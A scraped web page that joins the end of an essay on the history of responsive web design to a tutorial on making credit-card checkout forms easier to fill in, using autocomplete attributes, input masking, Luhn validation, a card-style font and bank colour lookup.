But this doesn’t mean that small‐screen devices should be served page layouts that were designed for larger dimensions:
However, it does not mean that exactly the same information is available in exactly the same representation across all devices.
If web designers wished to remain true to the spirit of One Web, they needed to provide the same core content at the same URL to everyone regardless of their device. At the same time, they needed to be able to create different layouts depending on the screen real‐estate available.
The shared illusion of a one‐size‐fits‐all approach to web design began to evaporate. It was gradually replaced by an acceptance of the ever‐changing fluid nature of the web.
In April of 2010 Ethan Marcotte stood on stage at An Event Apart in Seattle, a gathering for people who make websites. He spoke about an interesting school of thought in the world of architecture: responsive design, the idea that buildings could change and adapt according to the needs of the people using the building. This, he explained, could be a way to approach making websites.
One month later he expanded on this idea in an article called Responsive Web Design. It was published on A List Apart, the same website that had published John Allsopp’s A Dao Of Web Design ten years earlier. Ethan’s article shared the same spirit as John’s earlier rallying cry. In fact, Ethan begins his article by referencing A Dao Of Web Design.
Both articles called on web designers to embrace the idea of One Web. But whereas A Dao Of Web Design was largely rejected by designers comfortable with their WYSIWYG tools, Responsive Web Design found an audience of designers desperate to resolve the mobile conundrum.
Writer Steven Johnson has documented the history of invention and innovation. In his book Where Good Ideas Come From, he explores an idea called “the adjacent possible”:
At every moment in the timeline of an expanding biosphere, there are doors that cannot be unlocked yet. In human culture, we like to think of breakthrough ideas as sudden accelerations on the timeline, where a genius jumps ahead fifty years and invents something that normal minds, trapped in the present moment, couldn’t possibly have come up with. But the truth is that technological (and scientific) advances rarely break out of the adjacent possible; the history of cultural progress is, almost without exception, a story of one door leading to another door, exploring the palace one room at a time.
This is why the microwave oven could not have been invented in medieval France; there are too many preceding steps required — manufacturing, energy, theory — to make that kind of leap. Facebook could not exist without the World Wide Web, which could not exist without the internet, which could not exist without computers, and so on. Each step depends upon the accumulated layers below.
By the time Ethan coined the term Responsive Web Design a number of technological advances had fallen into place. As I wrote in the foreword to Ethan’s subsequent book on the topic:
The technologies existed already: fluid grids, flexible images, and media queries. But Ethan united these techniques under a single banner, and in so doing changed the way we think about web design.
TABLE layouts.The layers were in place. A desire for change — driven by the relentless rise of mobile — was also in place. What was needed was a slogan under which these could be united. That’s what Ethan gave us with Responsive Web Design.
The first experiments in responsive design involved retrofitting existing desktop‐centric websites: converting pixels to percentages, and adding media queries to remove the grid layout on smaller screens. But this reactive approach didn’t provide a firm foundation to build upon. Fortunately another slogan was able to encapsulate a more resilient approach.
Luke Wroblewski coined the term Mobile First in response to the ascendency of mobile devices:
Losing 80% of your screen space forces you to focus. You need to make sure that what stays on the screen is the most important set of features for your customers and your business. There simply isn’t room for any interface debris or content of questionable value. You need to know what matters most.
If you can prioritise your content and make it work within the confined space of a small screen, then you will have created a robust, resilient design that you can build upon for larger screen sizes.
Stephanie and Bryan Rieger encapsulated the mobile‐first responsive design approach:
The lack of a media query is your first media query.
In this context, Mobile First is less about mobile devices per se, and instead focuses on prioritising content and tasks regardless of the device. It discourages assumptions. In the past, web designers had fallen foul of unfounded assumptions about desktop devices. Now it was equally important to avoid making assumptions about mobile devices.
Web designers could no longer make assumptions about screen sizes, bandwidth, or browser capabilities. They were left with the one aspect of the website that was genuinely under their control: the content.
Echoing A Dao Of Web Design, designer Mark Boulton put this new approach into a historical context:
Embrace the fluidity of the web. Design layouts and systems that can cope to whatever environment they may find themselves in. But the only way we can do any of this is to shed ways of thinking that have been shackles around our necks. They’re holding us back.
Start designing from the content out, rather than the canvas in.
This content‐out way of thinking is fundamentally different to the canvas‐in approach that dates all the way back to the Book of Kells. It asks web designers to give up the illusion of control and create a materially‐honest discipline for the World Wide Web.
Relinquishing control does not mean relinquishing quality. Quite the opposite. In acknowledging the many unknowns involved in designing for the web, designers can craft in a resilient flexible way that is true to the medium.
Texan web designer Trent Walton was initially wary of responsive design, but soon realised that it was a more honest, authentic approach than creating fixed‐width Photoshop mock‐ups:
My love for responsive centers around the idea that my website will meet you wherever you are — from mobile to full‐blown desktop and anywhere in between.
For years, web design was dictated by the designer. The user had no choice but to accommodate the site’s demand for a screen of a certain size or a network connection of a certain speed. Now, web design can be a conversation between the designer and the user. Now, web design can reflect the underlying principles of the web itself.
On the twentieth anniversary of the World Wide Web, Tim Berners‐Lee wrote an article for Scientific American in which he reiterated those underlying principles:
The primary design principle underlying the Web’s usefulness and growth is universality. The Web should be usable by people with disabilities. It must work with any form of information, be it a document or a point of data, and information of any quality — from a silly tweet to a scholarly paper. And it should be accessible from any kind of hardware that can connect to the Internet: stationary or mobile, small screen or large.
(yk, il)
Part one of a four part series on how to get started with front-end code testing. By Gil Tayar. Read the other parts: 2, 3, 4.
The checkout page is the last page a user visits before finally decide to complete a purchase on your website. It’s where window shoppers turn into paying customers. If you want to leave a good impression, you should provide optimal usability of the billing form and improve it wherever it is possible to. In less than one day, you can add some simple and useful features to your project to make your billing form user-friendly and easy to fill in.
Credit-card details are among the most commonly corrected fields in forms. Fortunately, nowadays almost every popular browser has an autofill feature, allowing the users to store their card data in the browser and to fill out form fields more quickly. Also, since iOS 8, mobile Safari users can scan their card’s information with the iPhone’s camera and fill in their card’s number, expiration date and name fields automatically. Autocomplete is simple, clear and built into HTML5, so we’ll add it to our form first.
Both autofill and card-scanning work only with forms that have special attributes: autocomplete for modern browsers (listed in the HTML5 standard5) and name for browsers without HTML5 support.
Note: A demo with all the functions covered below is available6. You can find its code in the GitHub repository7.
Credit cards have specific autofill attributes. For autocomplete:
cc-namecc-numbercc-csccc-exp-monthcc-exp-yearcc-expcc-typecc-cscFor name:
ccnamecardnumbercvcccmonthccyearexpdatecard-typecvcTo use autofill, you should add the relevant autocomplete and name attributes for the input elements in your index.html file:
<input type="text" placeholder="XXXX XXXX XXXX XXXX" pattern="[0-9]{14,23}" required autofocus autocomplete="cc-number" name="cardnumber"> <input type="text" placeholder="MM" pattern="[0-9]{1,2}" required autocomplete="cc-exp-month" name="ccmonth"> <input type="text" placeholder="YYYY" pattern="[0-9]{2,4}" required autocomplete="cc-exp-year" name="ccyear"> <input type="text" placeholder="CARDHOLDER NAME" required autocomplete="cc-name" name="ccname">
Don’t forget to use placeholder in input fields to help users understand the required data formats. We can provide input validation with HTML5 attributes: pattern (based on JavaScript regular expressions) and required. For example, with pattern="[0-9s]{14,23}" required attributes in a field, the user won’t be able to submit the form if the field is empty, has a non-numeric or non-space symbol, or is shorter than 14 symbols or longer than 23 symbols.
Once the user has saved their card data in the browser, we can see how it works:
Notice that using one field for the expiration date (MM/YYYY) is not recommended because Safari requires separate month and year fields to autocomplete.
Of course, autocomplete and autofill attributes are widely used not only for billing forms but also for names, email and postal addresses and passwords. You can save the user time and make them even happier by correctly using these attributes in your forms.
Even though we now have autocomplete, Google Payments and Apple Wallet, many users still prefer to enter their credit-card details manually, and no one is safe from making a typo with a 16-digit number. Long numbers are hard to read, even more painful to write and almost impossible to verify.
To help users feel comfortable with their long card number, we can divide it into four-digit groups by adding the simple VanillaMasker9 library by BankFacil to our project. Inputted data will be transformed to a masked string. So, we can add a custom pattern with spaces after every fourth digit of a card number, a two-digit pattern for the expiration month and a four-digit pattern for the expiration year. VanillaMasker can also verify data formats: If we have passed only “9” (the default number for the masker) to the ID, then all non-numeric characters will be deleted after input.
npm install vanilla-masker --save
In our index.js file, let’s import the library and use it with one string for every field:
import masker from 'vanilla-masker'; const cardNumber = document.getElementById('card__input_number'); const cardMonth = document.getElementById('card__input_month'); const cardYear = document.getElementById('card__input_year'); masker(cardNumber).maskPattern('9999 9999 9999 9999 99'); masker(cardMonth).maskPattern('99'); masker(cardYear).maskPattern('9999');
Thus, the digits of the card number in our form will be separated, like on a real card:
10The masker will erase characters with an incorrect value type or length, although our HTML validation will notify the user about invalid data only after the form has been submitted. But we can also check a card number’s correctness as it is being filled in. Did you know that all plastic credit-card numbers are generated according to the simple and effective Luhn algorithm? It was created in 1954 by Hans Peter Luhn and subsequently set as an international standard. We can include the Luhn algorithm to pre-validate the card number’s input field and warn the user about a typo.
To do this, we can use the tiny fast-luhn11 npm package, adapted from Shirtless Kirk’s gist12. We need to add it to our project’s dependencies:
npm install fast-luhn --save
To use fast-luhn, we’ll import it in a module and just call luhn(number) on the input event to check whether the number is correct. For example, let’s add the card__input_invalid class to change the outline and field’s text color when the user has made an accidental error and a check has not been passed. Note that VanillaMasker adds a space after every four-digit group, so we need to convert the inputted value to a plain number without spaces using the split and join methods, before calling lunh.
The result is code that looks like this:
import luhn from 'fast-luhn'; const cardNumber = document.getElementById('card-number'); cardNumber.addEventListener('input', (event) => { const number = event.target.value; if (number.length >= 14) { const isLuhnCheckPassed = luhn(number.split(' ').join('')); cardNumber.classList.toggle('card__input_invalid', !isLuhnCheckPassed); cardNumber.classList.toggle('card__input_valid', isLuhnCheckPassed); } else { cardNumber.classList.remove('card__input_invalid', 'card__input_valid'); } });
To prevent luhn from being called while the user is typing, let’s call it only if the inputted number is as long as the minimum length with spaces (14 characters, including 12 digits) or longer, or else remove the card__input_invalid class.
Here are the validation examples in action:
13The Luhn algorithm is also used for some discount card numbers, IMEI numbers, National Provider Identifier numbers in the US, and Social Insurance Numbers in Canada. So, this package isn’t limited to credit cards.
Many users want to check their card details with their own eyes, even if they know the form is being validated. But human beings perceive things in a way that makes comparison of differently styled numbers a little confusing. As we want the interface to be simple and intuitive, we can help users by showing a font that looks similar to the one they would find on a real card. Also, the font will make our card-like input form look more realistic and appropriate.
Several free credit-card fonts are available:
We’ll use Halter. First, download the font, place it in the project’s folder, and create a CSS3 @font-face rule in style.css:
@font-face { font-family: Halter; src: url(font/HALTER__.ttf); }
Then, simply add it to the font-family rule for the .card-input class:
.card-input { color: #777; font-family: Halter, monospace; }
Don’t forget that if you input the CSS in a JavaScript file with the webpack bundle, you’ll need to add file-loader:
npm install file-loader --save
And add file-loader for the font file types in webpack.config.js:
module: { loaders: [ { test: /.(ttf|eot|svg|woff(2)?)(?[a-z0-9=&.]+)?$/, loader: 'file', }], },
The result looks pretty good:
17You can make it even fancier, if you like, with an embossed effect using a double text-shadow and a semi-transparency on the text’s color:
.card-input { color: rgba(84,110,122,0.5); text-shadow: -0.75px -0.75px white, 0.75px 0.75px 0 black; font-family: Halter, monospace; }
18text-shadowLast but not least, you can pleasantly surprise customers by adding a coloring feature to the form. Every bank has its own brand color, which usually dominates that bank’s card. To make a billing form even more user-friendly, we can use this color and print the bank’s name above the form fields (corresponding to where it appears on a real card). This will also help the user to avoid making a typo in the number and to ensure they have picked the right card.
We can identify the bank of every user’s card by the first six digits, which contain the Issuer Identification Number (IIN) or Bank Identification Number (BIN). Banks DB19 by Ramoona is a database that gets a bank’s name and brand color from this prefix. The author has set up a demo of Banks DB20.
This database is community-driven, so it doesn’t contain all of the world’s bank. If a user’s bank isn’t represented, the space for the bank’s name will be empty and the background will show the default color (#fafafa).
Banks DB assumes one of two ways of using it: with PostCSS or with CSS in JavaScript. We are using it with PostCSS. If you are new to PostCSS, this is a good reason to start using it. You can learn more about PostCSS in the official documentation21 or in Drew Minns’ article “An Introduction to PostCSS22”.
We need to install the PostCSS Banks DB23 plugin to set the CSS template for Banks DB and install the PostCSS Contrast24 plugin to improve the readability of the bank’s name:
npm install banks-db postcss-banks-db postcss-contrast --save
After that, we’ll add these new plugins to our PostCSS process in accordance with the module bundler and the load configuration used in our project. For example, with Webpack and postcss-load-config25, simply add the new plugins to the .postcssrc file.
Then, in our style.css file, we need to add a new class rule template for Banks DB with the postcss-contrast plugin:
@banks-db-template { .card_bank-%code% { background-color: %color%; color: contrast(%color%); } }
We could also set a long transition on the whole .card class to smoothly fade in and out the background and text color, so as not to startle users with an abrupt change:
.card { … transition: background 0.6s, color 0.6s; }
Now, import Banks DB in index.js, and use it in the input event listener. If the BIN is represented in the database, we’ll add the class containing the bank’s name to the form in order to insert the name and change the form’s background.
import banksDB from 'banks-db'; const billingForm = document.querySelector('.card'); const bankName = document.querySelector('.card__bank-name'); const cardNumber = document.getElementById('card__input_number'); cardNumber.addEventListener('input', (event) => { const number = event.target.value; const bank = banksDB(number); if (bank.code) { billingForm.classList.add(`card_bank-${(bank.code || 'other')}`); bankName.innerText = bank.country === 'ru' ? bank.localTitle : bank.engTitle; } else { billingForm.className = 'card'; bankName.innerText = ''; } });
If you use webpack, add json-loader for the .json file extension to webpack’s configuration in order to input the database in the bundle correctly.
Here is a working example of Banks DB:
26In case you see no effect with your bank card, you can open an issue or add your bank to the database.27
Improving your billing form can make the user experience much more intuitive and, as a result, ensure user convenience and increase confidence in your product. It’s an important part of web applications. We can improve it quickly and easily using these simple features:
autocomplete and name attributes for autofilling,placeholder attribute to inform the user of the input format,pattern and require attributes to prevent incorrect submission of form,Note that only Banks DB requires a module bundler; you can use the others within the simple script. Adding all of this functionality to your checkout page would most likely take less than a day.
(rb, al, il)